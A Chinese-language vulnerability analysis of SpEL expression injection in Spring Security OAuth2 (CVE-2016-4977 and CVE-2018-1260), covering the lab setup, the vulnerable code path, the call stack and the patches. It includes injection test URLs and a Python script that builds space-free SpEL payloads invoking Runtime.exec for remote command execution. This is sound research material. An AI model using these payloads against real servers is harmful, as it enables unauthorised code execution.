漏洞公告:
https://tanzu.vmware.com/security/cve-2016-4977
影响版本:
Spring Security OAuth2 是Spring Security的子项目,是对OAuth 2.0 授权机制的实现(现在该项目已弃用,对OAuth 2.0的支持已迁移到Spring Security主项目中)。
环境搭建:
https://github.com/vulhub/vulhub/tree/master/spring
由于并不是因为OAuth 2.0授权机制的实现代码出现了问题,所以本文并不会对OAuth 2.0的概念、授权流程等进行详细介绍,对OAuth 2.0的授权流程不熟悉的可以参考
[4][5][6]
。
Spring Security OAuth2使用SpringMVC实现Web接口。该漏洞出现在授权接口 /oauth/authorize
,该接口需要登录后才能访问。
该接口会先后对入参response_type
和redirect_uri
进行检查,如果其中任何一个参数值不满足条件,会将参数的值封装到异常信息中,然后将异常对象存入request
的属性attributes
中,然后转发到/oauth/error
接口继续处理。
在/oauth/error
接口处理时,将异常对象从request
域中取出来,然后和一个包含了SpEL表达式模板的SpelView
视图对象一起构造一个模型视图对象ModelAndView
并返回。
然后再次进入DispatcherServlet#processDispatchResult()
对模型视图对象ModelAndView
处理。其中,会调用SpelView#render()
进行视图渲染。
SpelView#render()
执行的过程中:
StandardEvaluationContex
中;${}
符号里的内容提取出来,得到error.summary
,对error.summary
进行SpEL表达式求值就相当于调用异常对象的getSummary()
方法,求值后得到一个异常信息字符串。${}
符号的话,就再次取里面的内容进行SpEL表达式求值。关于SpEL表达式,Spring的官方文档是最好的教程(
参考[2]
)
/oauth/authorize?response_type=${4*7}
&client_id=acme
&scope=openid
&redirect_uri=http://test
或:
http://vulfocus.my:8081/oauth/authorize?response_type=token
&client_id=acme
&scope=openid
&redirect_uri=${3*9}
如果要构造能执行命令的SpEL表达式,这里有个坑,就是表达式里不能存在空格,否则在空格前会被插入一个逗号,比如'open -a Calculator'
会变为open, -a, Calculator
,从而导致命令格式错误而无法被执行。
这里可以利用Character.toString(char)
将ASCII值转化为字母,然后用字符串的concat()
方法将字符拼接起来,这样就不会出现空格了。
可用Python脚本快速实现:
#!/usr/bin/env python3
msg = input('Please input command that you want to encode: ')
payload = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(msg[0])
for i in msg[1:]:
payload += '.concat(T(java.lang.Character).toString(%s))' % ord(i)
payload += ')}'
print(payload)
SpringMVC的请求-响应
流程的函数调用栈如下:
DispatcherServlet#service()
->DispatcherServlet#doService()
->DispatcherServlet#doDispatch() //进行handler的调度,这是DispatcherServlet最核心的方法,整个SpringMVC的执行流程都在该方法中完成!
->DispatcherServlet#getHandler() //获取对应的handler(即根据/hello获取对应HelloController)
->BeanNameUrlHandlerMapping#getHandler() //获取/hello对应的HelloController,并将其封装到HandlerExecutionChain对象中并返回,该对象不仅包含该url对应的Controller,还包含了对应的拦截器Interceptor集合(BeanNameUrlHandlerMapping,在spring应用的配置文件里有注册)
->DispatcherServlet#getHandlerAdapter()//根据得到的Controller,获取对应的适配器(SimpleControllerHandlerAdapter,在spring应用的配置文件里有注册)
->HandlerExecutionChain#applyPreHandle()//遍历HandlerExecutionChain中的拦截器,并执行拦截器的preHandle()方法
->SimpleControllerHandlerAdapter#handle()//执行HelloController的handleRequest()方法,并返回ModelAndView对象
->HandlerExecutionChain#appPostHandle()//遍历HandlerExecutionChain中的拦截器,并执行拦截器的postHandle()方法
->DispatcherServlet#processDispatchResult()//根据ModelAndView对象对结果进行处理
->DispatcherServlet#render()从ModelAndView对象中获取视图名称viewName
->DispatcherServlet#resolveViewName()//视图解析器InternalResourceViewResolver(这个在Spring应用的配置文件里有注册)对视图名称viewName进行解析并返回一个View对象(InternalResourceView),这个View对象中包含了视图资源文件的url。
->InternalResourceView#render()//View对象构造响应输出
漏洞修复代码见:
https://github.com/spring-projects/spring-security-oauth/commit/fff77d3fea477b566bcacfbfc95f85821a2bdc2d
修复后的代码,将SpEL表达式的前缀判断改为了长度为6的随机字符串+{
。这样的话,攻击者由于不知道前缀,所以就无法注入SpEL表达式进行攻击。
至于网上说这里因为是长度为6的随机字符串,有被暴破的风险。但个人认为不会,因为每一次的请求,在转发到/oauth/error
接口处理,构造ModelAndView
对象时,都会新建一个SpelView
对象传进去,所以每次请求,这个6字节的随机字符串都会重新生成,所以并不存在暴破风险。当然,笔者只是根据代码的逻辑来判断的,并未实际调试验证。
漏洞公告:
https://tanzu.vmware.com/security/cve-2018-1260
影响版本:
环境搭建:
从github找一个demo项目快速搭起来https://github.com/wanghongfei/spring-security-oauth2-example,按照demo说明将数据库配好后,将demo里的OAuthSecurityConfig#configure(ClientDetailsServiceConfigurer)
方法修改如下,重点是将scope
域置空,这是漏洞能成功触发的条件。
@Override
public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
clients.inMemory()
.withClient("client")
.secret("secret")
.authorizedGrantTypes("authorization_code")
.scopes();
}
按照官网文档的说明,scope如果不设置,默认值就是空的。但spring-security-oauth2:2.0.8 版本默认值却是
openid
…
用前面CVE-2016-4977的环境也是可以的,不过要把
application.properties
的security.oauth2.client.scope
配置置空才行。
这个漏洞的入口也是在授权接口/oauth/authorize
,但与CVE-2016-4977不同,是另外一条通路。
CVE-2016-4977是访问授权接口/oauth/authorize
时,可控response_type
或redirect_uri
参数不合法,从而在异常处理的流程中,注入了SpEL的可控参数被封装到异常信息中,从而在渲染报错页面时触发SpEL表达式求值。
而CVE-2018-1260 是在授权成功后的流程中触发了SpEL表达式求值。
/oauth/authorize
会将传入的scope
的值将服务端配置的值进行比对,如果不匹配则会抛出异常InvalidScopeException
。但如果scope
配置的值为空,则校验函数直接就返回了。
scope
表示客户端能访问资源的范围,这个值实际的服务端开发中都会预设值而不是为空,但这里为了漏洞复现,就在配置类OAuthSecurityConfig
中将scope
的预设值置为空了。
后面如果没有其他异常出现,则会将请求转发到/oauth/confirm_access
接口进行后续的处理。
后面的SpEL执行的触发流程就跟CVE-2016-4977类似了,也是在SpelView渲染的时候触发的。
从上述分析可知,该漏洞被利用的话有以下前置条件:
scope
要配置为空;实际开发中一般都会给scope预设值。WhitelabelApprovalEndpoint
。通过默认的页面模板构造SpelView对象,从而让通过scope
参数注入的SpEL表达式在SpelView渲染的过程中解释执行。而在实际开发中,很可能会使用自定义的Approval Endpoint实现,从而导致无法进行SpEL注入。命令执行PoC构造同CVE-2016-4977。
补丁见:
https://github.com/spring-projects/spring-security-oauth/commit/adb1e6d19c681f394c9513799b81b527b0cb007c
在修复版本中将SpelView.java
给删除了,而且在WhitelabelApprovalEndpoint.java
中,使用了一个View
的匿名实现类去作为替换。
[1] https://github.com/vulhub/vulhub/tree/master/spring
[2] https://docs.spring.io/spring-framework/docs/4.3.12.RELEASE/spring-framework-reference/html/expressions.html
[3] https://tanzu.vmware.com/security/
[4] https://www.ruanyifeng.com/blog/2019/04/oauth_design.html
[5] https://www.ruanyifeng.com/blog/2019/04/oauth-grant-types.html
[6] https://www.ruanyifeng.com/blog/2019/04/github-oauth.html
[7] https://xz.aliyun.com/t/2330
[8] https://projects.spring.io/spring-security-oauth/docs/oauth2.html